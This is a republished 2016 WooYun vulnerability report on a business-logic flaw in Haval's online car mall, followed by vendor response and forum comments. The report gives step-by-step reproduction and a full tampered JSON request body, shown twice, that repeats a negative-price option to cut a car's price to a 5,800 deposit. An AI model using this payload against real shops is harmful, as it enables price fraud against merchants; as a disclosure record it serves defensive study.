哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

admin
admin
admin
102359
文章
87
评论
2017年4月27日17:24:04评论339 views字数 230阅读0分46秒阅读模式
摘要

2016-04-25： 细节已通知厂商并且等待厂商处理中
2016-05-03： 厂商已经确认，细节仅向厂商公开
2016-05-13： 细节向核心白帽子及相关领域专家公开
2016-05-23： 细节向普通白帽子公开
2016-06-02： 细节向实习白帽子公开
2016-06-17： 细节向公众公开

漏洞概要 关注数(72) 关注此漏洞

缺陷编号： WooYun-2016-200301

漏洞标题： 哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

相关厂商： gwm.com.cn

漏洞作者： 江湖闯名号

提交时间： 2016-04-25 12:13

公开时间： 2016-06-17 10:10

漏洞类型： 设计缺陷/逻辑错误

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 认证设计不合理

8人收藏

漏洞详情

披露状态：

2016-04-25： 细节已通知厂商并且等待厂商处理中
2016-05-03： 厂商已经确认，细节仅向厂商公开
2016-05-13： 细节向核心白帽子及相关领域专家公开
2016-05-23： 细节向普通白帽子公开
2016-06-02： 细节向实习白帽子公开
2016-06-17： 细节向公众公开

简要描述：

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

详细说明：

自定义汽车配置参数在post时重复写入在加入导致减少价格，因为最低需要支付5000，减少该配置是-1000所以最少要支付5800元。其他车不可以是因为没有减价项。

一、访问哈弗汽车商城里的汽车车型

http://mall.haval.com.cn/carload/spuSelector.html

二、选择哈弗H9

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

三、在装备项勾选“五人座”-10000

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

四、点击加入购物车或者是立即购买，查看数据包。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

五、查看返回数据，等下要改。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

六、用工具重新post数据，重复{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},着串数据27次等于减27W。重新得到七、返回的数据。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

code 区域 
baidaJsonStr={"userJokerDetails":[{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1324,"PART_ID":359,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"灰黑内饰"},{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1325,"PART_ID":"387","MATCH_PARAM_ID":295,"ADD_PRICE":"0","BAIDA_NAME":"卷云银纹装饰板"},{"PRODUCT_ID":10387,"BAIDA_TYPE":1,"PARAM_ID":1323,"PART_ID":296,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"极地白"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"}],"PRODUCT_ID":10387,"MATCH_PARAM_ID":295,"BASE_PRICE":275800,"ADD_PRICE_ALL":-10000,"USER_JOKER_ID":"","SAVE_MODE":2}

八、在页面中找到第一次在页面上post回的数，修改为post工具中得到的数，点确认购买，或放入购物车。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

九、进入购物车页面

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

十、点击去结账

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

十一、进入支付定金界面

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

十二、支付成功

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

漏洞证明：

一、访问哈弗汽车商城里的汽车车型

http://mall.haval.com.cn/carload/spuSelector.html

二、选择哈弗H9

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

三、在装备项勾选“五人座”-10000

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

四、点击加入购物车或者是立即购买，查看数据包。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

五、查看返回数据，等下要改。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

六、用工具重新post数据，重复{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},着串数据27次等于减27W。重新得到七、返回的数据。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

code 区域 
baidaJsonStr={"userJokerDetails":[{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1324,"PART_ID":359,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"灰黑内饰"},{"PRODUCT_ID":10387,"BAIDA_TYPE":2,"PARAM_ID":1325,"PART_ID":"387","MATCH_PARAM_ID":295,"ADD_PRICE":"0","BAIDA_NAME":"卷云银纹装饰板"},{"PRODUCT_ID":10387,"BAIDA_TYPE":1,"PARAM_ID":1323,"PART_ID":296,"MATCH_PARAM_ID":295,"ADD_PRICE":0,"BAIDA_NAME":"极地白"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"},{"PRODUCT_ID":10387,"BAIDA_TYPE":3,"PARAM_ID":1326,"PART_ID":376,"MATCH_PARAM_ID":295,"ADD_PRICE":"-10000","BAIDA_NAME":"五人座"}],"PRODUCT_ID":10387,"MATCH_PARAM_ID":295,"BASE_PRICE":275800,"ADD_PRICE_ALL":-10000,"USER_JOKER_ID":"","SAVE_MODE":2}

八、在页面中找到第一次在页面上post回的数，修改为post工具中得到的数，点确认购买，或放入购物车。

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

九、进入购物车页面

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

十、点击去结账

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

十一、进入支付定金界面

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

十二、支付成功

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W）

修复方案：

验证post参数，每项参数只能出现一次。另外就是这个订单我已经支付了，如果算数的话我就去提车，要是不算数请将款退回我卡里，谢谢！！！我的订单编号：20160424224109548908

版权声明：转载请注明来源 江湖闯名号@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2016-05-03 10:03

厂商回复：

厂家正在紧急处理。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-25 12:13 | 疯狗 哈弗汽车商城缺陷之我是如何5800买到哈弗H9的（原价27W） ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    3

    顶配啊

  2. 2016-04-25 12:16 | 白开水 ( 普通白帽子 | Rank:273 漏洞数:34 | 苍茫的天涯是我的爱~)

    1

    我就问问 你提到车了吗

  3. 2016-04-25 12:25 | hecate ( 普通白帽子 | Rank:823 漏洞数:129 | ®高级安全工程师 | WooYun认证√)

    0

    我就问问 你提到车了吗

  4. 2016-04-25 12:26 | PgHook ( 普通白帽子 | Rank:1020 漏洞数:123 | Portulaca grandiflora Hook.)

    1

    花5800买个自行车么？？

  5. 2016-04-25 12:35 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:208 | px1624)

    0

    哈佛说 车送你了~

  6. 2016-04-25 12:39 | j14n ( 普通白帽子 | Rank:2226 漏洞数:401 )

    0

    1分。

  7. 2016-04-25 12:46 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    特斯拉1块钱都送了，哈弗 5800不知道会怎么说！！！

  8. 2016-04-25 13:06 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)

    0

    我就问问 你提到车了吗

  9. 2016-04-25 13:42 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    @齐迹 没有，客服刚给我打电话了，之后说早上看到订单了，正在排查，认为我账号被盗了，说订单金额有问题，说要改我的金额。

  10. 2016-04-25 13:44 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    特斯拉这样的厂商漏洞为什么挖不到，挖到个国内厂商的，好桑心！

  11. 2016-04-25 14:05 | crazykb ( 路人 | Rank:30 漏洞数:2 | The quieter you become, the more you are...)

    0

    来一辆

  12. 2016-04-25 14:21 | 小苹果 ( 普通白帽子 | Rank:255 漏洞数:70 | 只要锄头挥的好，哪有洞挖不到)

    0

    我就问问 你提到车了吗

  13. 2016-04-25 15:51 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    @小苹果 没有 各位

  14. 2016-04-25 16:31 | 诚殷的小白帽 ( 实习白帽子 | Rank:76 漏洞数:36 )

    0

    我就问问 你提到车了吗

  15. 2016-04-27 09:27 | 立志成为厨神的男人 ( 路人 | Rank:15 漏洞数:1 | 我饿了)

    0

    如果是特斯拉的漏洞 说不定人家就认了

  16. 2016-04-27 10:55 | 丨丶钟情 ( 路人 | Rank:6 漏洞数:2 | 我就看看 不提交漏洞)

    0

    我就问问 你提到车了吗

  17. 2016-04-27 16:58 | 胡小树 ( 实习白帽子 | Rank:66 漏洞数:13 | 我是一颗小小树)

    0

    5800绝逼打水漂了，恭喜洞主

  18. 2016-04-28 17:09 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    有点想要打水漂的感觉，给我打电话没有直接否认订单，但是也没退款给我。

  19. 2016-05-01 18:07 | Hax0rs ( 实习白帽子 | Rank:65 漏洞数:13 | Hax0rs)

    0

    @江湖闯名号 然后厂商故意忽略，然后也不退款，然后就没了...

  20. 2016-05-03 10:11 | 北洋贱队 ( 普通白帽子 | Rank:252 漏洞数:25 )

    0

    涉嫌金融诈骗 报案必备抓

  21. 2016-05-03 10:35 | byr5ec ( 路人 | Rank:10 漏洞数:2 | I'm pursuing all teh time 5h37|_!)

    0

    这种订单厂商，不退款，也没什么问题。

  22. 2016-05-03 11:31 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号：233sec 不定期分享各种漏洞思...)

    0

    就问 5800退款了吗？ 7rank 5800换7rank。。。

  23. 2016-05-03 12:09 | 黑色的屌丝 ( 实习白帽子 | Rank:39 漏洞数:6 | →_→→_→)

    0

    感觉好桑心

  24. 2016-05-03 12:24 | 钥匙君 ( 实习白帽子 | Rank:46 漏洞数:17 | 一个懒人)

    0

    5800没了……

  25. 2016-05-03 12:43 | Hax0rs ( 实习白帽子 | Rank:65 漏洞数:13 | Hax0rs)

    0

    5800买9个rank

  26. 2016-05-03 14:29 | 二维码 ( 实习白帽子 | Rank:61 漏洞数:4 | 老子跳起来就是个么么哒)

    0

    5800买9个rank

  27. 2016-05-03 17:13 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    5000退了

  28. 2016-05-06 23:24 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:490 漏洞数:133 | 乌云核心绿帽子 《绿帽子讲婚姻安全》作者)

    0

    @江湖闯名号 另外800呢？

  29. 2016-05-31 08:43 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:208 | px1624)

    0

    5800买9个rank

  30. 2016-05-31 10:54 | un10ad ( 实习白帽子 | Rank:88 漏洞数:14 | //////)

    0

    5800换9rank 值了

  31. 2016-06-17 10:36 | shlhack‘s bother ( 普通白帽子 | Rank:395 漏洞数:139 | 以前有个梦，后来我醒了)

    0

    车到了后，一定带我去兜风！

  32. 2016-06-17 11:17 | 水晶 ( 实习白帽子 | Rank:69 漏洞数:27 | 热爱生活，喜欢互联网)

    0

    另外800退了吗？

  33. 2016-06-17 15:03 | 终于明白 ( 普通白帽子 | Rank:130 漏洞数:28 | 彩笔一枚。。。)

    0

    6666

  34. 2016-06-17 15:34 | 存在敏感词 ( 实习白帽子 | Rank:66 漏洞数:9 | 我是大傻逼~)

    0

    车不给，钱不退

  35. 2016-06-17 16:19 | 萧十二郎 ( 路人 | Rank:2 漏洞数:1 | 奔波在网路上的狼)

    0

    这个也能9rank，厂商抠门的啊。另外800不退了吗?

  36. 2016-06-17 16:20 | tan_y ( 路人 | Rank:3 漏洞数:3 | 努力充电中...)

    0

    800换9Rank?

  37. 2016-06-17 16:38 | 光头强吃翔 ( 路人 | Rank:2 漏洞数:1 | 一个新手，欢迎各位大牛指点！)

    0

    车给你给你我不关心，我就关心你的5800退了没！……——……

  38. 2016-06-17 18:11 | Let a person cry. ( 实习白帽子 | Rank:31 漏洞数:11 | xxoo)

    0

    我就想知道退了5000，还有800呢？800买了ramk?哈哈..只能说洞主 是土豪，拿5800做 测试

  39. 2016-06-22 15:38 | 無名老人 ( 路人 | Rank:19 漏洞数:4 | 干过开发，日过渗透，江湖人称： 少女杀手)

    0

    我就想知道退了5000，还有800呢？800买了ramk?哈哈..只能说洞主 是土豪，拿5800做 测试

  40. 2016-06-25 13:33 | 江湖闯名号 ( 路人 | Rank:13 漏洞数:4 | 最近发了3个Q币商品，由于隔了几天没审核，...)

    0

    回复各位 5000退了 800是尾款 到店付 之后订单被取消 也就没提车 800就没给

  41. 2016-06-25 13:48 | j14n ( 普通白帽子 | Rank:2226 漏洞数:401 )

    0

    @江湖闯名号 哈哈哈 800买了9rank 不错。。。

  42. 2016-06-25 13:55 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:490 漏洞数:133 | 乌云核心绿帽子 《绿帽子讲婚姻安全》作者)

    0

    @j14n 洞主的意思是 800没给4儿子店……

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin